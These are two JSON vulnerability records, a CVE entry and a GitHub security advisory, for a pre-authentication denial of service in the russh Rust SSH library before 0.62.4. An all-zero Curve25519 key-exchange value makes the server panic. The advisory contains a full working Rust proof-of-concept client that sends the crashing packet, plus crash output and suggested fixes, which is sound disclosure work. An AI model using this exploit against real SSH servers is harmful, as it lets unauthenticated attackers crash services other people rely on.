{
  "affected": [
    {
      "affectedData": [
        {
          "product": "russh",
          "vendor": "Eugeny",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.62.4"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Russh is a Rust SSH client \u0026 server library. Prior to 0.62.4, an unauthenticated SSH client can cause a denial of service by sending SSH_MSG_KEX_ECDH_INIT with a 32-byte all-zero Q_C value. Curve25519Kex::server_dh in russh/src/kex/curve25519.rs accepts the all-zero peer public value and computes an all-zero shared secret, after which compute_exchange_hash calls encode_mpint in russh/src/kex/mod.rs and indexes beyond the end of the input while skipping leading zero bytes. The resulting panic occurs before authentication and terminates the server key-exchange task. This issue is fixed in version 0.62.4."
    }
  ],
  "id": "CVE-2026-73430",
  "lastModified": "2026-09-09T21:02:22.660",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 5.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-73430",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-13T17:49:19.811444Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-12T21:17:41.883",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Eugeny/russh/commit/a7fc1eb5717264e31c3c5f7dd849b73989a08f3d"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Eugeny/russh/releases/tag/v0.62.4"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Eugeny/russh/security/advisories/GHSA-5xvq-cp9x-6p6r"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-754"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.62.3"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "russh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.62.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73430"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-754"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T16:45:26Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "A pre-authentication denial-of-service panic in `russh` 0.62.2 (commit\n`c4be19f1915c8682f4615c3fd50008512b474491`, current default branch `main` as\nof 2026-07-22). An unauthenticated client sends a single `SSH_MSG_KEX_ECDH_INIT`\nwhose `Q_C` is 32 zero bytes. russh\u0027s Curve25519 KEX does not reject the\nall-zero peer public value, so `server_dh()` computes the all-zero shared\nsecret and `compute_exchange_hash()` then calls `encode_mpint(\u0026shared.0, ...)`,\nwhich indexes `s[i]` at `i == s.len()` and **panics** (`index out of bounds:\nthe len is 32 but the index is 32`) **before host-key signature verification**.\nThe server KEX task dies on the first KEX message, before authentication.\n\nThis is reachable with the **default** server configuration\n(`Config::default()` \u2192 `Preferred::DEFAULT`, whose kex list includes\n`curve25519-sha256`) and requires **no caller-supplied parameter**. It is\nreproduced end-to-end against the unmodified real russh 0.62.2 library (a real\nserver + raw TCP client over TCP); the PoC below links the real crate, not a\ncopied snippet. The defect is still present on `main` HEAD (`v0.62.3`,\n2026-07-22) and is not covered by any of the 11 published russh GHSA advisories\n(GHSA-cqvm-j2r2-hwpg / CVE-2023-28113 is modp DH group validation, not\nCurve25519).\n\nRust bounds-checked panics abort the task safely (no memory corruption / RCE);\nthe impact is remote **denial of service**.\n\n## Details\n\n`russh/src/kex/curve25519.rs`, `server_dh()` (server path; attacker = client):\n\n```rust\nfn server_dh(\u0026mut self, exchange: \u0026mut Exchange, payload: \u0026[u8]) -\u003e Result\u003c(), crate::Error\u003e {\n    // only the 32-byte length is checked, NOT zero / low-order:\n    let mut pubkey = MontgomeryPoint([0; 32]);\n    pubkey.0.clone_from_slice(\u0026payload[5..5 + 32]);      // line 73\n    ...\n    let shared = server_secret * client_pubkey;           // all-zero when client_pubkey == [0;32]\n    self.shared_secret = Some(shared);                    // line 86\n    Ok(())\n}\n```\n\nThe server then computes the exchange hash **before** verifying the host-key\nsignature (`russh/src/server/kex.rs`):\n\n```rust\nkex.server_dh(exchange, \u0026input.buffer)?;                    // line 247\n...\nlet hash = kex.compute_exchange_hash(\u0026pubkey_vec, exchange, \u0026mut buffer)?;  // line 274 \u2014 panics\n```\n\n`compute_exchange_hash()` calls `encode_mpint(\u0026shared.0, buffer)`, whose\nleading-zero skip loop advances `i` to `s.len()` and then indexes `s[i]`\n(`russh/src/kex/mod.rs`):\n\n```rust\npub(crate) fn encode_mpint\u003cW: Writer\u003e(s: \u0026[u8], w: \u0026mut W) -\u003e Result\u003c(), Error\u003e {\n    let mut i = 0;\n    while i \u003c s.len() \u0026\u0026 s[i] == 0 { i += 1 }   // i advances to s.len() for all-zero input\n    if s[i] \u0026 0x80 != 0 {                        // line 482 \u2014 index out of bounds: s[s.len()]\n        ...\n```\n\nOn Curve25519, `scalar * MontgomeryPoint([0;32])` yields `MontgomeryPoint([0;32])`\n(the identity element), so the all-zero shared secret is attacker-controlled.\nRFC 7748 \u00a76 requires implementations to detect and reject all-zero / low-order\npeer public values and shared secrets; russh does not. The client path\n(`compute_shared_secret`, curve25519.rs:110-142) has the same chain but is\nreached only after the server host-key signature is verified, so it requires a\nmalicious server that can sign its own host key (same root cause, lower\nseverity).\n\n## PoC\n\nThe PoC is a standalone `examples/` binary that links the **unmodified** real\nrussh 0.62.2 crate and reproduces over a real TCP connection. It runs an ATTACK\ncase (all-zero `Q_C` \u2192 panic) and a CONTROL case (random `Q_C` \u2192 completes kex),\nproving the panic is caused specifically by the all-zero value.\n\n### One-line reproducer\n\n```bash\n# Drop the .rs below into russh/examples/ of a checkout of\n# Eugeny/russh @ c4be19f1915c (tag v0.62.2), then:\ncargo +stable build --release --example e2e_t13_zero_curve25519\nRUST_BACKTRACE=1 ./target/release/examples/e2e_t13_zero_curve25519\n```\n\n### `russh/examples/e2e_t13_zero_curve25519.rs`\n\n```rust\n// End-to-end PoC: a pre-auth all-zero Curve25519 peer public value panics\n// russh\u0027s SSH exchange-hash computation.\n//\n// A real `russh::server` with `Config::default()` (curve25519-sha256 in the\n// default kex list) + a real Ed25519 host key is started on a TCP listener.\n// A raw TCP \"attacker\" client sends: SSH banner -\u003e SSH_MSG_KEXINIT offering\n// curve25519-sha256 -\u003e SSH_MSG_KEX_ECDH_INIT with Q_C = 32 zero bytes.\n// The server drives the real path server_dh -\u003e compute_exchange_hash -\u003e\n// encode_mpint and panics. A CONTROL case with a random Q_C completes kex.\n\nuse std::sync::atomic::{AtomicBool, Ordering};\nuse std::sync::Arc;\n\nuse byteorder::{BigEndian, ByteOrder};\nuse russh::server::{self, Handler};\nuse tokio::io::{AsyncReadExt, AsyncWriteExt};\nuse tokio::net::{TcpListener, TcpStream};\n\nconst MSG_KEXINIT: u8 = 20;\nconst MSG_KEX_ECDH_INIT: u8 = 30;  // RFC 8731 \u00a73\nconst MSG_KEX_ECDH_REPLY: u8 = 31;\n\n#[tokio::main]\nasync fn main() {\n    println!(\"=== russh pre-auth all-zero Curve25519 panic (real russh 0.62.2) ===\\n\");\n\n    let (atk_panic, atk_reply) = run_case(QcKind::AllZero, \"ATTACK \").await;\n    println!();\n    let (ctl_panic, ctl_reply) = run_case(QcKind::Random, \"CONTROL\").await;\n\n    println!(\"\\n=== summary ===\");\n    println!(\"case    | server panicked | got ECDH_REPLY\");\n    println!(\"ATTACK  | {atk_panic:\u003c15} | {atk_reply}   (Q_C = all-zero)\");\n    println!(\"CONTROL | {ctl_panic:\u003c15} | {ctl_reply}   (Q_C = random non-zero)\");\n\n    if atk_panic \u0026\u0026 !atk_reply \u0026\u0026 !ctl_panic \u0026\u0026 ctl_reply {\n        println!(\"\\n=\u003e CONFIRMED (end-to-end, real russh 0.62.2):\");\n        println!(\"   A single pre-auth SSH_MSG_KEX_ECDH_INIT whose Q_C is the\");\n        println!(\"   all-zero Curve25519 point makes the real russh server panic\");\n        println!(\"   inside encode_mpint (index out of bounds: len 32, index 32)\");\n        println!(\"   during compute_exchange_hash, BEFORE host-key verification.\");\n    } else {\n        eprintln!(\"NOT reproduced\");\n        std::process::exit(1);\n    }\n}\n\nenum QcKind { AllZero, Random }\n\nasync fn run_case(qc: QcKind, label: \u0026\u0027static str) -\u003e (bool, bool) {\n    let panicked = Arc::new(AtomicBool::new(false));\n    {\n        let flag = panicked.clone();\n        let prev = std::panic::take_hook();\n        std::panic::set_hook(Box::new(move |info| {\n            flag.store(true, Ordering::SeqCst);\n            eprintln!(\"[{label} server task panicked] {info}\");\n            prev(info);\n        }));\n    }\n\n    // real russh server, DEFAULT config (curve25519-sha256 in the kex list)\n    // + real Ed25519 host key.\n    let mut config = server::Config::default();\n    config.inactivity_timeout = None;\n    config.auth_rejection_time = std::time::Duration::from_millis(1);\n    config.auth_rejection_time_initial = Some(std::time::Duration::from_millis(1));\n    config.keys.push(\n        russh::keys::PrivateKey::random(\u0026mut rand::rng(), russh::keys::Algorithm::Ed25519).unwrap(),\n    );\n    let config = Arc::new(config);\n\n    let listener = TcpListener::bind(\"127.0.0.1:0\").await.unwrap();\n    let addr = listener.local_addr().unwrap();\n    let server_task = tokio::spawn(async move {\n        let (socket, _peer) = listener.accept().await.unwrap();\n        let session = server::run_stream(config, socket, NoopHandler).await.unwrap();\n        session.await\n    });\n\n    // raw attacker client: SSH banner -\u003e KEXINIT -\u003e ECDH_INIT(Q_C)\n    let mut s = TcpStream::connect(addr).await.unwrap();\n    s.write_all(b\"SSH-2.0-attacker\\r\\n\").await.unwrap();\n    s.flush().await.unwrap();\n    let _server_id = read_ssh_id(\u0026mut s).await.unwrap();\n    let _server_kexinit = read_packet(\u0026mut s).await.unwrap();\n    s.write_all(\u0026ssh_packet(\u0026kexinit_payload_curve25519())).await.unwrap();\n    s.flush().await.unwrap();\n\n    let q_c: [u8; 32] = match qc {\n        QcKind::AllZero =\u003e [0u8; 32],\n        QcKind::Random =\u003e {\n            let mut b: [u8; 32] = rand::random();\n            if b.iter().all(|\u0026x| x == 0) { b[0] = 1; }\n            b\n        }\n    };\n    let mut ecdh_init = Vec::new();\n    ecdh_init.push(MSG_KEX_ECDH_INIT);\n    encode_string(\u0026mut ecdh_init, \u0026q_c);\n    s.write_all(\u0026ssh_packet(\u0026ecdh_init)).await.unwrap();\n    s.flush().await.unwrap();\n    let qdesc = match qc { QcKind::AllZero =\u003e \"all-zero\", QcKind::Random =\u003e \"random\" };\n    println!(\"[{label}] sent SSH_MSG_KEX_ECDH_INIT (Q_C = {qdesc})\");\n\n    let got_reply = match tokio::time::timeout(std::time::Duration::from_millis(800), read_packet(\u0026mut s)).await {\n        Ok(Ok(pkt)) =\u003e {\n            let is_reply = pkt.first() == Some(\u0026MSG_KEX_ECDH_REPLY);\n            println!(\"[{label}] server sent a packet, first byte = {:?} (ECDH_REPLY={is_reply})\", pkt.first());\n            is_reply\n        }\n        _ =\u003e { println!(\"[{label}] read failed / connection closed (no ECDH_REPLY)\"); false }\n    };\n\n    let _ = tokio::time::timeout(std::time::Duration::from_secs(1), server_task).await;\n    let server_panicked = panicked.load(Ordering::SeqCst);\n    println!(\"[{label}] server task panicked = {server_panicked}, got ECDH_REPLY = {got_reply}\");\n    let _ = std::panic::take_hook();\n    (server_panicked, got_reply)\n}\n\n#[derive(Clone)]\nstruct NoopHandler;\nimpl Handler for NoopHandler { type Error = russh::Error; }\n\nfn kexinit_payload_curve25519() -\u003e Vec\u003cu8\u003e {\n    let mut p = Vec::new();\n    p.push(MSG_KEXINIT);\n    p.extend_from_slice(\u0026[0u8; 16]); // cookie\n    encode_name_list(\u0026mut p, \u0026[\"curve25519-sha256\"]);          // kex\n    encode_name_list(\u0026mut p, \u0026[\"ssh-ed25519\"]);                // host key\n    encode_name_list(\u0026mut p, \u0026[\"chacha20-poly1305@openssh.com\"]); // c2s cipher\n    encode_name_list(\u0026mut p, \u0026[\"chacha20-poly1305@openssh.com\"]); // s2c cipher\n    encode_name_list(\u0026mut p, \u0026[\"hmac-sha2-256\"]);              // c2s mac\n    encode_name_list(\u0026mut p, \u0026[\"hmac-sha2-256\"]);              // s2c mac\n    encode_name_list(\u0026mut p, \u0026[\"none\"]);                      // c2s compression\n    encode_name_list(\u0026mut p, \u0026[\"none\"]);                      // s2c compression\n    encode_name_list(\u0026mut p, \u0026[]);                            // c2s languages\n    encode_name_list(\u0026mut p, \u0026[]);                            // s2c languages\n    p.push(0);                                                // first_kex_packet_follows = false\n    push_u32(\u0026mut p, 0);                                      // reserved\n    p\n}\n\nfn ssh_packet(payload: \u0026[u8]) -\u003e Vec\u003cu8\u003e {\n    let mut padding_len = 8 - ((5 + payload.len()) % 8);\n    if padding_len \u003c 4 { padding_len += 8; }\n    let packet_len = 1 + payload.len() + padding_len;\n    let mut packet = Vec::with_capacity(4 + packet_len);\n    push_u32(\u0026mut packet, packet_len as u32);\n    packet.push(padding_len as u8);\n    packet.extend_from_slice(payload);\n    packet.resize(packet.len() + padding_len, 0);\n    packet\n}\n\nasync fn read_packet(stream: \u0026mut TcpStream) -\u003e std::io::Result\u003cVec\u003cu8\u003e\u003e {\n    let mut len_buf = [0u8; 4];\n    stream.read_exact(\u0026mut len_buf).await?;\n    let packet_len = BigEndian::read_u32(\u0026len_buf) as usize;\n    let mut packet = vec![0u8; packet_len];\n    stream.read_exact(\u0026mut packet).await?;\n    let padding_len = packet[0] as usize;\n    Ok(packet[1..packet.len() - padding_len].to_vec())\n}\n\nasync fn read_ssh_id(stream: \u0026mut TcpStream) -\u003e std::io::Result\u003cVec\u003cu8\u003e\u003e {\n    let mut id = Vec::new();\n    loop {\n        let mut byte = [0u8; 1];\n        stream.read_exact(\u0026mut byte).await?;\n        id.push(byte[0]);\n        if byte[0] == b\u0027\\n\u0027 { return Ok(id); }\n    }\n}\n\nfn encode_name_list(buf: \u0026mut Vec\u003cu8\u003e, names: \u0026[\u0026str]) { encode_string(buf, names.join(\",\").as_bytes()); }\nfn encode_string(buf: \u0026mut Vec\u003cu8\u003e, value: \u0026[u8]) { push_u32(buf, value.len() as u32); buf.extend_from_slice(value); }\nfn push_u32(buf: \u0026mut Vec\u003cu8\u003e, value: u32) {\n    let mut bytes = [0u8; 4];\n    BigEndian::write_u32(\u0026mut bytes, value);\n    buf.extend_from_slice(\u0026bytes);\n}\n```\n\nReal captured output (ATTACK, `RUST_BACKTRACE=1`):\n\n```\n[ATTACK ] sent SSH_MSG_KEX_ECDH_INIT (Q_C = all-zero)\n[ATTACK  server task panicked] panicked at russh/src/kex/mod.rs:482:8:\nindex out of bounds: the len is 32 but the index is 32\nthread \u0027tokio-rt-worker\u0027 panicked at russh/src/kex/mod.rs:482:8\nstack backtrace:\n   3: russh::kex::encode_mpint::\u003cCryptoVec\u003e\n   4: \u003cCurve25519Kex as KexAlgorithmImplementor\u003e::compute_exchange_hash\n   5: \u003cServerKex\u003e::step ... server::reply ... Session::run\n[ATTACK ] server task panicked = true, got ECDH_REPLY = false\n[CONTROL] server sent a packet, first byte = Some(31) (ECDH_REPLY=true)\n[CONTROL] server task panicked = false, got ECDH_REPLY = true\n=\u003e CONFIRMED (end-to-end, real russh 0.62.2)\n```\n\nThe backtrace confirms the real in-library call path on a tokio worker,\npre-authentication, before any host-key signature verification.\n\n## Impact\n\n**Remote, pre-authentication denial of service of any russh SSH server using\nthe default configuration.** A single 37-byte `SSH_MSG_KEX_ECDH_INIT` (`0x1e`\n+ `0x00000020` + 32 zero bytes) from an unauthenticated client crashes the\nserver\u0027s KEX task before authentication. Because the panic is in an async russh\ntask it aborts that connection\u0027s handler; depending on the embedder\u0027s panic\ncontainment it can also tear down the server if the panic is not contained\nper-connection.\n\nA malicious SSH server can symmetrically crash a russh **client** after\nhost-key verification by sending an all-zero `Q_S` in\n`SSH_MSG_KEX_ECDH_REPLY` (same root cause, lower severity \u2014 requires the\nserver to control its own signed host key).\n\nNo confidentiality/integrity break is demonstrated. The all-zero shared secret\nwould itself be a catastrophic key-compromise if russh did not already crash,\nbut the observed impact is the crash.\n\n### CVSS\n\n- `AV:N` \u2014 reachable from a remote SSH peer\n- `AC:L` \u2014 requires only a 32-byte all-zero `Q_C`\n- `PR:N` \u2014 pre-authentication\n- `UI:N` \u2014 no user interaction\n- `C:N`, `I:N` \u2014 no confidentiality or integrity impact demonstrated\n- `A:H` \u2014 remote unauthenticated crash of the server KEX task\n\n### Suggested fixes\n\nReject all-zero / low-order Curve25519 peer public values (RFC 7748 \u00a76) in\n`server_dh()` / `compute_shared_secret()`:\n\n```rust\nif client_pubkey.0 == [0u8; 32] { return Err(crate::Error::Kex); }\n```\n\nand harden `encode_mpint` against the all-zero input:\n\n```rust\nif i == s.len() {\n    return 0u32.encode(w);   // all-zero mpint = empty string per RFC 4251 \u00a75\n}\n```\n\n### Affected versions\n\n- `russh` **\u003c= 0.62.3** (commit `c4be19f1915c` / current `main` HEAD\n  `v0.62.3`, 2026-07-22). The bug is still present on `main`; it is not covered\n  by any of the 11 published russh GHSA advisories. Default `server::Config`\n  and `client::Config` are affected (no feature flag or opt-in).\n\n## Credit\n\nIndependently reported by [Zhaodl1](https://github.com/Zhaodl1) and the diff/ambidiff security research effort (afldl).",
  "id": "GHSA-5xvq-cp9x-6p6r",
  "modified": "2026-08-12T20:55:41Z",
  "published": "2026-07-24T16:45:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Eugeny/russh/security/advisories/GHSA-5xvq-cp9x-6p6r"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Eugeny/russh/commit/a7fc1eb5717264e31c3c5f7dd849b73989a08f3d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Eugeny/russh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Eugeny/russh/releases/tag/v0.62.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Russh: Pre-auth remote panic via all-zero Curve25519 peer public value (encode_mpint OOB)"
}